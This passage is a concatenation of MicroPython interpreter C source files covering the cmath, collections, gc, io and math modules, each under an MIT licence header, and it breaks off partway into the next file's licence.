MP_ROM_QSTR(MP_QSTR_rect), MP_ROM_PTR(&mp_cmath_rect_obj) }, { MP_ROM_QSTR(MP_QSTR_exp), MP_ROM_PTR(&mp_cmath_exp_obj) }, { MP_ROM_QSTR(MP_QSTR_log), MP_ROM_PTR(&mp_cmath_log_obj) }, #if MICROPY_PY_MATH_SPECIAL_FUNCTIONS { MP_ROM_QSTR(MP_QSTR_log10), MP_ROM_PTR(&mp_cmath_log10_obj) }, #endif { MP_ROM_QSTR(MP_QSTR_sqrt), MP_ROM_PTR(&mp_cmath_sqrt_obj) }, //{ MP_ROM_QSTR(MP_QSTR_acos), MP_ROM_PTR(&mp_cmath_acos_obj) }, //{ MP_ROM_QSTR(MP_QSTR_asin), MP_ROM_PTR(&mp_cmath_asin_obj) }, //{ MP_ROM_QSTR(MP_QSTR_atan), MP_ROM_PTR(&mp_cmath_atan_obj) }, { MP_ROM_QSTR(MP_QSTR_cos), MP_ROM_PTR(&mp_cmath_cos_obj) }, { MP_ROM_QSTR(MP_QSTR_sin), MP_ROM_PTR(&mp_cmath_sin_obj) }, //{ MP_ROM_QSTR(MP_QSTR_tan), MP_ROM_PTR(&mp_cmath_tan_obj) }, //{ MP_ROM_QSTR(MP_QSTR_acosh), MP_ROM_PTR(&mp_cmath_acosh_obj) }, //{ MP_ROM_QSTR(MP_QSTR_asinh), MP_ROM_PTR(&mp_cmath_asinh_obj) }, //{ MP_ROM_QSTR(MP_QSTR_atanh), MP_ROM_PTR(&mp_cmath_atanh_obj) }, //{ MP_ROM_QSTR(MP_QSTR_cosh), MP_ROM_PTR(&mp_cmath_cosh_obj) }, //{ MP_ROM_QSTR(MP_QSTR_sinh), MP_ROM_PTR(&mp_cmath_sinh_obj) }, //{ MP_ROM_QSTR(MP_QSTR_tanh), MP_ROM_PTR(&mp_cmath_tanh_obj) }, //{ MP_ROM_QSTR(MP_QSTR_isfinite), MP_ROM_PTR(&mp_cmath_isfinite_obj) }, //{ MP_ROM_QSTR(MP_QSTR_isinf), MP_ROM_PTR(&mp_cmath_isinf_obj) }, //{ MP_ROM_QSTR(MP_QSTR_isnan), MP_ROM_PTR(&mp_cmath_isnan_obj) }, }; STATIC MP_DEFINE_CONST_DICT(mp_module_cmath_globals, mp_module_cmath_globals_table); const mp_obj_module_t mp_module_cmath = { .base = { &mp_type_module }, .globals = (mp_obj_dict_t*)&mp_module_cmath_globals, }; #endif // MICROPY_PY_BUILTINS_FLOAT && MICROPY_PY_CMATH ================================================ FILE: micropython/source/py/modcollections.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include "py/builtin.h" #if MICROPY_PY_COLLECTIONS STATIC const mp_rom_map_elem_t mp_module_collections_globals_table[] = { { MP_ROM_QSTR(MP_QSTR___name__), MP_ROM_QSTR(MP_QSTR_ucollections) }, { MP_ROM_QSTR(MP_QSTR_namedtuple), MP_ROM_PTR(&mp_namedtuple_obj) }, #if MICROPY_PY_COLLECTIONS_ORDEREDDICT { MP_ROM_QSTR(MP_QSTR_OrderedDict), MP_ROM_PTR(&mp_type_ordereddict) }, #endif }; STATIC MP_DEFINE_CONST_DICT(mp_module_collections_globals, mp_module_collections_globals_table); const mp_obj_module_t mp_module_collections = { .base = { &mp_type_module }, .globals = (mp_obj_dict_t*)&mp_module_collections_globals, }; #endif // MICROPY_PY_COLLECTIONS ================================================ FILE: micropython/source/py/modgc.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include "py/mpstate.h" #include "py/obj.h" #include "py/gc.h" #if MICROPY_PY_GC && MICROPY_ENABLE_GC /// \module gc - control the garbage collector /// \function collect() /// Run a garbage collection. STATIC mp_obj_t py_gc_collect(void) { gc_collect(); #if MICROPY_PY_GC_COLLECT_RETVAL return MP_OBJ_NEW_SMALL_INT(MP_STATE_MEM(gc_collected)); #else return mp_const_none; #endif } MP_DEFINE_CONST_FUN_OBJ_0(gc_collect_obj, py_gc_collect); /// \function disable() /// Disable the garbage collector. STATIC mp_obj_t gc_disable(void) { MP_STATE_MEM(gc_auto_collect_enabled) = 0; return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_0(gc_disable_obj, gc_disable); /// \function enable() /// Enable the garbage collector. STATIC mp_obj_t gc_enable(void) { MP_STATE_MEM(gc_auto_collect_enabled) = 1; return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_0(gc_enable_obj, gc_enable); STATIC mp_obj_t gc_isenabled(void) { return mp_obj_new_bool(MP_STATE_MEM(gc_auto_collect_enabled)); } MP_DEFINE_CONST_FUN_OBJ_0(gc_isenabled_obj, gc_isenabled); /// \function mem_free() /// Return the number of bytes of available heap RAM. STATIC mp_obj_t gc_mem_free(void) { gc_info_t info; gc_info(&info); return MP_OBJ_NEW_SMALL_INT(info.free); } MP_DEFINE_CONST_FUN_OBJ_0(gc_mem_free_obj, gc_mem_free); /// \function mem_alloc() /// Return the number of bytes of heap RAM that are allocated. STATIC mp_obj_t gc_mem_alloc(void) { gc_info_t info; gc_info(&info); return MP_OBJ_NEW_SMALL_INT(info.used); } MP_DEFINE_CONST_FUN_OBJ_0(gc_mem_alloc_obj, gc_mem_alloc); #if MICROPY_GC_ALLOC_THRESHOLD STATIC mp_obj_t gc_threshold(size_t n_args, const mp_obj_t *args) { if (n_args == 0) { if (MP_STATE_MEM(gc_alloc_threshold) == (size_t)-1) { return MP_OBJ_NEW_SMALL_INT(-1); } return mp_obj_new_int(MP_STATE_MEM(gc_alloc_threshold) * MICROPY_BYTES_PER_GC_BLOCK); } mp_int_t val = mp_obj_get_int(args[0]); if (val < 0) { MP_STATE_MEM(gc_alloc_threshold) = (size_t)-1; } else { MP_STATE_MEM(gc_alloc_threshold) = val / MICROPY_BYTES_PER_GC_BLOCK; } return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(gc_threshold_obj, 0, 1, gc_threshold); #endif STATIC const mp_rom_map_elem_t mp_module_gc_globals_table[] = { { MP_ROM_QSTR(MP_QSTR___name__), MP_ROM_QSTR(MP_QSTR_gc) }, { MP_ROM_QSTR(MP_QSTR_collect), MP_ROM_PTR(&gc_collect_obj) }, { MP_ROM_QSTR(MP_QSTR_disable), MP_ROM_PTR(&gc_disable_obj) }, { MP_ROM_QSTR(MP_QSTR_enable), MP_ROM_PTR(&gc_enable_obj) }, { MP_ROM_QSTR(MP_QSTR_isenabled), MP_ROM_PTR(&gc_isenabled_obj) }, { MP_ROM_QSTR(MP_QSTR_mem_free), MP_ROM_PTR(&gc_mem_free_obj) }, { MP_ROM_QSTR(MP_QSTR_mem_alloc), MP_ROM_PTR(&gc_mem_alloc_obj) }, #if MICROPY_GC_ALLOC_THRESHOLD { MP_ROM_QSTR(MP_QSTR_threshold), MP_ROM_PTR(&gc_threshold_obj) }, #endif }; STATIC MP_DEFINE_CONST_DICT(mp_module_gc_globals, mp_module_gc_globals_table); const mp_obj_module_t mp_module_gc = { .base = { &mp_type_module }, .globals = (mp_obj_dict_t*)&mp_module_gc_globals, }; #endif ================================================ FILE: micropython/source/py/modio.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include "py/runtime.h" #include "py/builtin.h" #include "py/stream.h" #include "py/objstringio.h" #include "py/frozenmod.h" #if MICROPY_PY_IO extern const mp_obj_type_t mp_type_fileio; extern const mp_obj_type_t mp_type_textio; #if MICROPY_PY_IO_BUFFEREDWRITER typedef struct _mp_obj_bufwriter_t { mp_obj_base_t base; mp_obj_t stream; size_t alloc; size_t len; byte buf[0]; } mp_obj_bufwriter_t; STATIC mp_obj_t bufwriter_make_new(const mp_obj_type_t *type, size_t n_args, size_t n_kw, const mp_obj_t *args) { mp_arg_check_num(n_args, n_kw, 2, 2, false); size_t alloc = mp_obj_get_int(args[1]); mp_obj_bufwriter_t *o = m_new_obj_var(mp_obj_bufwriter_t, byte, alloc); o->base.type = type; o->stream = args[0]; o->alloc = alloc; o->len = 0; return o; } STATIC mp_uint_t bufwriter_write(mp_obj_t self_in, const void *buf, mp_uint_t size, int *errcode) { mp_obj_bufwriter_t *self = MP_OBJ_TO_PTR(self_in); mp_uint_t org_size = size; while (size > 0) { mp_uint_t rem = self->alloc - self->len; if (size < rem) { memcpy(self->buf + self->len, buf, size); self->len += size; return org_size; } // Buffer flushing policy here is to flush entire buffer all the time. // This allows e.g. to have a block device as backing storage and write // entire block to it. memcpy below is not ideal and could be optimized // in some cases. But the way it is now it at least ensures that buffer // is word-aligned, to guard against obscure cases when it matters, e.g. // https://github.com/micropython/micropython/issues/1863 memcpy(self->buf + self->len, buf, rem); buf = (byte*)buf + rem; size -= rem; mp_uint_t out_sz = mp_stream_write_exactly(self->stream, self->buf, self->alloc, errcode); if (*errcode != 0) { return MP_STREAM_ERROR; } // TODO: try to recover from a case of non-blocking stream, e.g. move // remaining chunk to the beginning of buffer. assert(out_sz == self->alloc); self->len = 0; } return org_size; } STATIC mp_obj_t bufwriter_flush(mp_obj_t self_in) { mp_obj_bufwriter_t *self = MP_OBJ_TO_PTR(self_in); if (self->len != 0) { int err; mp_uint_t out_sz = mp_stream_write_exactly(self->stream, self->buf, self->len, &err); // TODO: try to recover from a case of non-blocking stream, e.g. move // remaining chunk to the beginning of buffer. assert(out_sz == self->len); self->len = 0; if (err != 0) { mp_raise_OSError(err); } } return mp_const_none; } STATIC MP_DEFINE_CONST_FUN_OBJ_1(bufwriter_flush_obj, bufwriter_flush); STATIC const mp_rom_map_elem_t bufwriter_locals_dict_table[] = { { MP_ROM_QSTR(MP_QSTR_write), MP_ROM_PTR(&mp_stream_write_obj) }, { MP_ROM_QSTR(MP_QSTR_flush), MP_ROM_PTR(&bufwriter_flush_obj) }, }; STATIC MP_DEFINE_CONST_DICT(bufwriter_locals_dict, bufwriter_locals_dict_table); STATIC const mp_stream_p_t bufwriter_stream_p = { .write = bufwriter_write, }; STATIC const mp_obj_type_t bufwriter_type = { { &mp_type_type }, .name = MP_QSTR_BufferedWriter, .make_new = bufwriter_make_new, .protocol = &bufwriter_stream_p, .locals_dict = (mp_obj_dict_t*)&bufwriter_locals_dict, }; #endif // MICROPY_PY_IO_BUFFEREDWRITER #if MICROPY_MODULE_FROZEN_STR STATIC mp_obj_t resource_stream(mp_obj_t package_in, mp_obj_t path_in) { VSTR_FIXED(path_buf, MICROPY_ALLOC_PATH_MAX); size_t len; // As an extension to pkg_resources.resource_stream(), we support // package parameter being None, the path_in is interpreted as a // raw path. if (package_in != mp_const_none) { mp_obj_t args[5]; args[0] = package_in; args[1] = mp_const_none; // TODO should be globals args[2] = mp_const_none; // TODO should be locals args[3] = mp_const_true; // Pass sentinel "non empty" value to force returning of leaf module args[4] = MP_OBJ_NEW_SMALL_INT(0); // TODO lookup __import__ and call that instead of going straight to builtin implementation mp_obj_t pkg = mp_builtin___import__(5, args); mp_obj_t dest[2]; mp_load_method_maybe(pkg, MP_QSTR___path__, dest); if (dest[0] == MP_OBJ_NULL) { mp_raise_TypeError(NULL); } const char *path = mp_obj_str_get_data(dest[0], &len); vstr_add_strn(&path_buf, path, len); vstr_add_byte(&path_buf, '/'); } const char *path = mp_obj_str_get_data(path_in, &len); vstr_add_strn(&path_buf, path, len); len = path_buf.len; const char *data = mp_find_frozen_str(path_buf.buf, &len); if (data != NULL) { mp_obj_stringio_t *o = m_new_obj(mp_obj_stringio_t); o->base.type = &mp_type_bytesio; o->vstr = m_new_obj(vstr_t); vstr_init_fixed_buf(o->vstr, len + 1, (char*)data); o->vstr->len = len; o->pos = 0; return MP_OBJ_FROM_PTR(o); } mp_obj_t path_out = mp_obj_new_str(path_buf.buf, path_buf.len, false); return mp_builtin_open(1, &path_out, (mp_map_t*)&mp_const_empty_map); } MP_DEFINE_CONST_FUN_OBJ_2(resource_stream_obj, resource_stream); #endif STATIC const mp_rom_map_elem_t mp_module_io_globals_table[] = { { MP_ROM_QSTR(MP_QSTR___name__), MP_ROM_QSTR(MP_QSTR_uio) }, // Note: mp_builtin_open_obj should be defined by port, it's not // part of the core. { MP_ROM_QSTR(MP_QSTR_open), MP_ROM_PTR(&mp_builtin_open_obj) }, #if MICROPY_PY_IO_RESOURCE_STREAM { MP_ROM_QSTR(MP_QSTR_resource_stream), MP_ROM_PTR(&resource_stream_obj) }, #endif #if MICROPY_PY_IO_FILEIO { MP_ROM_QSTR(MP_QSTR_FileIO), MP_ROM_PTR(&mp_type_fileio) }, #if MICROPY_CPYTHON_COMPAT { MP_ROM_QSTR(MP_QSTR_TextIOWrapper), MP_ROM_PTR(&mp_type_textio) }, #endif #endif { MP_ROM_QSTR(MP_QSTR_StringIO), MP_ROM_PTR(&mp_type_stringio) }, #if MICROPY_PY_IO_BYTESIO { MP_ROM_QSTR(MP_QSTR_BytesIO), MP_ROM_PTR(&mp_type_bytesio) }, #endif #if MICROPY_PY_IO_BUFFEREDWRITER { MP_ROM_QSTR(MP_QSTR_BufferedWriter), MP_ROM_PTR(&bufwriter_type) }, #endif }; STATIC MP_DEFINE_CONST_DICT(mp_module_io_globals, mp_module_io_globals_table); const mp_obj_module_t mp_module_io = { .base = { &mp_type_module }, .globals = (mp_obj_dict_t*)&mp_module_io_globals, }; #endif ================================================ FILE: micropython/source/py/modmath.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include "py/builtin.h" #include "py/runtime.h" #if MICROPY_PY_BUILTINS_FLOAT && MICROPY_PY_MATH #include // M_PI is not part of the math.h standard and may not be defined // And by defining our own we can ensure it uses the correct const format. #define MP_PI MICROPY_FLOAT_CONST(3.14159265358979323846) /// \module math - mathematical functions /// /// The `math` module provides some basic mathematical funtions for /// working with floating-point numbers. STATIC NORETURN void math_error(void) { mp_raise_ValueError("math domain error"); } #define MATH_FUN_1(py_name, c_name) \ STATIC mp_obj_t mp_math_ ## py_name(mp_obj_t x_obj) { return mp_obj_new_float(MICROPY_FLOAT_C_FUN(c_name)(mp_obj_get_float(x_obj))); } \ STATIC MP_DEFINE_CONST_FUN_OBJ_1(mp_math_## py_name ## _obj, mp_math_ ## py_name); #define MATH_FUN_2(py_name, c_name) \ STATIC mp_obj_t mp_math_ ## py_name(mp_obj_t x_obj, mp_obj_t y_obj) { return mp_obj_new_float(MICROPY_FLOAT_C_FUN(c_name)(mp_obj_get_float(x_obj), mp_obj_get_float(y_obj))); } \ STATIC MP_DEFINE_CONST_FUN_OBJ_2(mp_math_## py_name ## _obj, mp_math_ ## py_name); #define MATH_FUN_1_TO_BOOL(py_name, c_name) \ STATIC mp_obj_t mp_math_ ## py_name(mp_obj_t x_obj) { return mp_obj_new_bool(c_name(mp_obj_get_float(x_obj))); } \ STATIC MP_DEFINE_CONST_FUN_OBJ_1(mp_math_## py_name ## _obj, mp_math_ ## py_name); #define MATH_FUN_1_TO_INT(py_name, c_name) \ STATIC mp_obj_t mp_math_ ## py_name(mp_obj_t x_obj) { return mp_obj_new_int_from_float(MICROPY_FLOAT_C_FUN(c_name)(mp_obj_get_float(x_obj))); } \ STATIC MP_DEFINE_CONST_FUN_OBJ_1(mp_math_## py_name ## _obj, mp_math_ ## py_name); #define MATH_FUN_1_ERRCOND(py_name, c_name, error_condition) \ STATIC mp_obj_t mp_math_ ## py_name(mp_obj_t x_obj) { \ mp_float_t x = mp_obj_get_float(x_obj); \ if (error_condition) { \ math_error(); \ } \ return mp_obj_new_float(MICROPY_FLOAT_C_FUN(c_name)(x)); \ } \ STATIC MP_DEFINE_CONST_FUN_OBJ_1(mp_math_## py_name ## _obj, mp_math_ ## py_name); #if MP_NEED_LOG2 // 1.442695040888963407354163704 is 1/_M_LN2 #define log2(x) (log(x) * 1.442695040888963407354163704) #endif /// \function sqrt(x) /// Returns the square root of `x`. MATH_FUN_1_ERRCOND(sqrt, sqrt, (x < (mp_float_t)0.0)) /// \function pow(x, y) /// Returns `x` to the power of `y`. MATH_FUN_2(pow, pow) /// \function exp(x) MATH_FUN_1(exp, exp) #if MICROPY_PY_MATH_SPECIAL_FUNCTIONS /// \function expm1(x) MATH_FUN_1(expm1, expm1) /// \function log2(x) MATH_FUN_1_ERRCOND(log2, log2, (x <= (mp_float_t)0.0)) /// \function log10(x) MATH_FUN_1_ERRCOND(log10, log10, (x <= (mp_float_t)0.0)) /// \function cosh(x) MATH_FUN_1(cosh, cosh) /// \function sinh(x) MATH_FUN_1(sinh, sinh) /// \function tanh(x) MATH_FUN_1(tanh, tanh) /// \function acosh(x) MATH_FUN_1(acosh, acosh) /// \function asinh(x) MATH_FUN_1(asinh, asinh) /// \function atanh(x) MATH_FUN_1(atanh, atanh) #endif /// \function cos(x) MATH_FUN_1(cos, cos) /// \function sin(x) MATH_FUN_1(sin, sin) /// \function tan(x) MATH_FUN_1(tan, tan) /// \function acos(x) MATH_FUN_1(acos, acos) /// \function asin(x) MATH_FUN_1(asin, asin) /// \function atan(x) MATH_FUN_1(atan, atan) /// \function atan2(y, x) MATH_FUN_2(atan2, atan2) /// \function ceil(x) MATH_FUN_1_TO_INT(ceil, ceil) /// \function copysign(x, y) MATH_FUN_2(copysign, copysign) /// \function fabs(x) MATH_FUN_1(fabs, fabs) /// \function floor(x) MATH_FUN_1_TO_INT(floor, floor) //TODO: delegate to x.__floor__() if x is not a float /// \function fmod(x, y) MATH_FUN_2(fmod, fmod) /// \function isfinite(x) MATH_FUN_1_TO_BOOL(isfinite, isfinite) /// \function isinf(x) MATH_FUN_1_TO_BOOL(isinf, isinf) /// \function isnan(x) MATH_FUN_1_TO_BOOL(isnan, isnan) /// \function trunc(x) MATH_FUN_1_TO_INT(trunc, trunc) /// \function ldexp(x, exp) MATH_FUN_2(ldexp, ldexp) #if MICROPY_PY_MATH_SPECIAL_FUNCTIONS /// \function erf(x) /// Return the error function of `x`. MATH_FUN_1(erf, erf) /// \function erfc(x) /// Return the complementary error function of `x`. MATH_FUN_1(erfc, erfc) /// \function gamma(x) /// Return the gamma function of `x`. MATH_FUN_1(gamma, tgamma) /// \function lgamma(x) /// return the natural logarithm of the gamma function of `x`. MATH_FUN_1(lgamma, lgamma) #endif //TODO: factorial, fsum // Function that takes a variable number of arguments // log(x[, base]) STATIC mp_obj_t mp_math_log(size_t n_args, const mp_obj_t *args) { mp_float_t x = mp_obj_get_float(args[0]); if (x <= (mp_float_t)0.0) { math_error(); } mp_float_t l = MICROPY_FLOAT_C_FUN(log)(x); if (n_args == 1) { return mp_obj_new_float(l); } else { mp_float_t base = mp_obj_get_float(args[1]); if (base <= (mp_float_t)0.0) { math_error(); } else if (base == (mp_float_t)1.0) { mp_raise_msg(&mp_type_ZeroDivisionError, "division by zero"); } return mp_obj_new_float(l / MICROPY_FLOAT_C_FUN(log)(base)); } } STATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mp_math_log_obj, 1, 2, mp_math_log); // Functions that return a tuple /// \function frexp(x) /// Converts a floating-point number to fractional and integral components. STATIC mp_obj_t mp_math_frexp(mp_obj_t x_obj) { int int_exponent = 0; mp_float_t significand = MICROPY_FLOAT_C_FUN(frexp)(mp_obj_get_float(x_obj), &int_exponent); mp_obj_t tuple[2]; tuple[0] = mp_obj_new_float(significand); tuple[1] = mp_obj_new_int(int_exponent); return mp_obj_new_tuple(2, tuple); } STATIC MP_DEFINE_CONST_FUN_OBJ_1(mp_math_frexp_obj, mp_math_frexp); /// \function modf(x) STATIC mp_obj_t mp_math_modf(mp_obj_t x_obj) { mp_float_t int_part = 0.0; mp_float_t fractional_part = MICROPY_FLOAT_C_FUN(modf)(mp_obj_get_float(x_obj), &int_part); mp_obj_t tuple[2]; tuple[0] = mp_obj_new_float(fractional_part); tuple[1] = mp_obj_new_float(int_part); return mp_obj_new_tuple(2, tuple); } STATIC MP_DEFINE_CONST_FUN_OBJ_1(mp_math_modf_obj, mp_math_modf); // Angular conversions /// \function radians(x) STATIC mp_obj_t mp_math_radians(mp_obj_t x_obj) { return mp_obj_new_float(mp_obj_get_float(x_obj) * (MP_PI / MICROPY_FLOAT_CONST(180.0))); } STATIC MP_DEFINE_CONST_FUN_OBJ_1(mp_math_radians_obj, mp_math_radians); /// \function degrees(x) STATIC mp_obj_t mp_math_degrees(mp_obj_t x_obj) { return mp_obj_new_float(mp_obj_get_float(x_obj) * (MICROPY_FLOAT_CONST(180.0) / MP_PI)); } STATIC MP_DEFINE_CONST_FUN_OBJ_1(mp_math_degrees_obj, mp_math_degrees); STATIC const mp_rom_map_elem_t mp_module_math_globals_table[] = { { MP_ROM_QSTR(MP_QSTR___name__), MP_ROM_QSTR(MP_QSTR_math) }, { MP_ROM_QSTR(MP_QSTR_e), mp_const_float_e }, { MP_ROM_QSTR(MP_QSTR_pi), mp_const_float_pi }, { MP_ROM_QSTR(MP_QSTR_sqrt), MP_ROM_PTR(&mp_math_sqrt_obj) }, { MP_ROM_QSTR(MP_QSTR_pow), MP_ROM_PTR(&mp_math_pow_obj) }, { MP_ROM_QSTR(MP_QSTR_exp), MP_ROM_PTR(&mp_math_exp_obj) }, #if MICROPY_PY_MATH_SPECIAL_FUNCTIONS { MP_ROM_QSTR(MP_QSTR_expm1), MP_ROM_PTR(&mp_math_expm1_obj) }, #endif { MP_ROM_QSTR(MP_QSTR_log), MP_ROM_PTR(&mp_math_log_obj) }, #if MICROPY_PY_MATH_SPECIAL_FUNCTIONS { MP_ROM_QSTR(MP_QSTR_log2), MP_ROM_PTR(&mp_math_log2_obj) }, { MP_ROM_QSTR(MP_QSTR_log10), MP_ROM_PTR(&mp_math_log10_obj) }, { MP_ROM_QSTR(MP_QSTR_cosh), MP_ROM_PTR(&mp_math_cosh_obj) }, { MP_ROM_QSTR(MP_QSTR_sinh), MP_ROM_PTR(&mp_math_sinh_obj) }, { MP_ROM_QSTR(MP_QSTR_tanh), MP_ROM_PTR(&mp_math_tanh_obj) }, { MP_ROM_QSTR(MP_QSTR_acosh), MP_ROM_PTR(&mp_math_acosh_obj) }, { MP_ROM_QSTR(MP_QSTR_asinh), MP_ROM_PTR(&mp_math_asinh_obj) }, { MP_ROM_QSTR(MP_QSTR_atanh), MP_ROM_PTR(&mp_math_atanh_obj) }, #endif { MP_ROM_QSTR(MP_QSTR_cos), MP_ROM_PTR(&mp_math_cos_obj) }, { MP_ROM_QSTR(MP_QSTR_sin), MP_ROM_PTR(&mp_math_sin_obj) }, { MP_ROM_QSTR(MP_QSTR_tan), MP_ROM_PTR(&mp_math_tan_obj) }, { MP_ROM_QSTR(MP_QSTR_acos), MP_ROM_PTR(&mp_math_acos_obj) }, { MP_ROM_QSTR(MP_QSTR_asin), MP_ROM_PTR(&mp_math_asin_obj) }, { MP_ROM_QSTR(MP_QSTR_atan), MP_ROM_PTR(&mp_math_atan_obj) }, { MP_ROM_QSTR(MP_QSTR_atan2), MP_ROM_PTR(&mp_math_atan2_obj) }, { MP_ROM_QSTR(MP_QSTR_ceil), MP_ROM_PTR(&mp_math_ceil_obj) }, { MP_ROM_QSTR(MP_QSTR_copysign), MP_ROM_PTR(&mp_math_copysign_obj) }, { MP_ROM_QSTR(MP_QSTR_fabs), MP_ROM_PTR(&mp_math_fabs_obj) }, { MP_ROM_QSTR(MP_QSTR_floor), MP_ROM_PTR(&mp_math_floor_obj) }, { MP_ROM_QSTR(MP_QSTR_fmod), MP_ROM_PTR(&mp_math_fmod_obj) }, { MP_ROM_QSTR(MP_QSTR_frexp), MP_ROM_PTR(&mp_math_frexp_obj) }, { MP_ROM_QSTR(MP_QSTR_ldexp), MP_ROM_PTR(&mp_math_ldexp_obj) }, { MP_ROM_QSTR(MP_QSTR_modf), MP_ROM_PTR(&mp_math_modf_obj) }, { MP_ROM_QSTR(MP_QSTR_isfinite), MP_ROM_PTR(&mp_math_isfinite_obj) }, { MP_ROM_QSTR(MP_QSTR_isinf), MP_ROM_PTR(&mp_math_isinf_obj) }, { MP_ROM_QSTR(MP_QSTR_isnan), MP_ROM_PTR(&mp_math_isnan_obj) }, { MP_ROM_QSTR(MP_QSTR_trunc), MP_ROM_PTR(&mp_math_trunc_obj) }, { MP_ROM_QSTR(MP_QSTR_radians), MP_ROM_PTR(&mp_math_radians_obj) }, { MP_ROM_QSTR(MP_QSTR_degrees), MP_ROM_PTR(&mp_math_degrees_obj) }, #if MICROPY_PY_MATH_SPECIAL_FUNCTIONS { MP_ROM_QSTR(MP_QSTR_erf), MP_ROM_PTR(&mp_math_erf_obj) }, { MP_ROM_QSTR(MP_QSTR_erfc), MP_ROM_PTR(&mp_math_erfc_obj) }, { MP_ROM_QSTR(MP_QSTR_gamma), MP_ROM_PTR(&mp_math_gamma_obj) }, { MP_ROM_QSTR(MP_QSTR_lgamma), MP_ROM_PTR(&mp_math_lgamma_obj) }, #endif }; STATIC MP_DEFINE_CONST_DICT(mp_module_math_globals, mp_module_math_globals_table); const mp_obj_module_t mp_module_math = { .base = { &mp_type_module }, .globals = (mp_obj_dict_t*)&mp_module_math_globals, }; #endif // MICROPY_PY_BUILTINS_FLOAT && MICROPY_PY_MATH ================================================ FILE: micropython/source/py/modmicropython.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 